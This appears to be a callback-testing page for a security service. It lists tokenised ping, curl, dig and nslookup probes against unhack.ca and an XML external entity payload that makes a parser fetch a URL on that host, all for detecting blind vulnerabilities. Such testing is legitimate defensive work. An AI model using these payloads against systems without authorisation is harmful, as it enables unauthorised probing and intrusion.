$ ping -c1 -p 00b53a3835149ff17153aa228bcebf00 unhack.ca
 
$ curl http://unhack.ca/p/b53a3835149ff17153aa228bcebf
 
$ dig b53a3835149ff17153aa228bcebf @unhack.ca
 
$ dig b53a3835149ff17153aa228bcebf.ns.unhack.ca
 
C:\> nslookup b53a3835149ff17153aa228bcebf unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/b53a3835149ff17153aa228bcebf">]>
    <foo>&xxe;</foo>
Waiting for ping...